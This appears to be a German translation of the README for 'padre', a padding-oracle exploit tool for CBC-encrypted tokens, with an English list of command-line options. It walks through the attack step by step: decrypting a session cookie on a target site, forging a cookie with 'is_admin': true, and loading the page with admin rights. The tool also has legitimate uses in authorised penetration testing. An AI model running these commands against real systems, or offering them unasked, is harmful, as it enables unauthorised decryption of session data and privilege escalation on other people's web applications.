
Blitzschneller, fortschrittlicher Padding-Oracle-Exploit
padre ist ein fortschrittliches Exploit-Tool für Padding-Oracle-Angriffe gegen CBC-Verschlüsselung
Eigenschaften:

Der schnellste Weg ist, die vorkompilierte Binärdatei für Ihr Betriebssystem von der neuesten Version herunterzuladen.
Alternativ, wenn Go installiert ist, aus dem Quellcode bauen:
go install github.com/glebarez/padre@latest
Wenn Sie einen vermuteten Padding-Oracle finden, bei dem die verschlüsselten Daten in einem Cookie namens SESS gespeichert sind, können Sie Folgendes verwenden:
padre -u 'https://target.site/profile.php' -cookie 'SESS=$' 'Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg=='
padre wird automatisch HTTP-Antworten fingerprinten, um festzustellen, ob ein Padding-Oracle bestätigt werden kann. Wenn der Server tatsächlich angreifbar ist, wird das bereitgestellte Token in etwa wie folgt entschlüsselt:
{"user_id": 456, "is_admin": false}
Es sieht so aus, als könnten Sie hier Ihre Berechtigungen erhöhen!
Sie können dies versuchen, indem Sie zuerst Ihre eigenen verschlüsselten Daten generieren, die der Oracle wieder in einen hinterhältigen Klartext entschlüsseln wird:
padre -u 'https://target.site/profile.php' -cookie 'SESS=$' -enc '{"user_id": 456, "is_admin": true}'
Dies wird einen weiteren kodierten Satz verschlüsselter Daten ausgeben, vielleicht etwas wie unten (wenn base64 verwendet wird):
dGhpcyBpcyBqdXN0IGFuIGV4YW1wbGU=
Jetzt können Sie Ihren Browser öffnen und den Wert des SESS-Cookies auf den obigen Wert setzen. Wenn Sie die ursprüngliche Oracle-Seite laden, sollten Sie nun sehen, dass Sie auf Admin-Ebene angehoben wurden.
Usage: padre [OPTIONS] [INPUT]
INPUT:
In decrypt mode: encrypted data
In encrypt mode: the plaintext to be encrypted
If not passed, will read from STDIN
NOTE: binary data is always encoded in HTTP. Tweak encoding rules if needed (see options: -e, -r)
OPTIONS:
-u *required*
target URL, use $ character to define token placeholder (if present in URL)
-enc
Encrypt mode
-err
Regex pattern, HTTP response bodies will be matched against this to detect padding oracle. Omit to perform automatic fingerprinting
-e
Encoding to apply to binary data. Supported values:
b64 (standard base64) *default*
lhex (lowercase hex)
-r
Additional replacements to apply after encoding binary data. Use odd-length strings, consiting of pairs of characters <OLD><NEW>.
Example:
If server uses base64, but replaces '/' with '!', '+' with '-', '=' with '~', then use -r "/!+-=~"
-cookie
Cookie value to be set in HTTP requests. Use $ character to mark token placeholder.
-post
String data to perform POST requests. Use $ character to mark token placeholder.
-ct
Content-Type for POST requests. If not specified, Content-Type will be determined automatically.
-b
Block length used in cipher (use 16 for AES). Omit to perform automatic detection. Supported values:
8
16 *default*
32
-p
Number of parallel HTTP connections established to target server [1-256]
30 *default*
-proxy
HTTP proxy. e.g. use -proxy "http://localhost:8080" for Burp or ZAP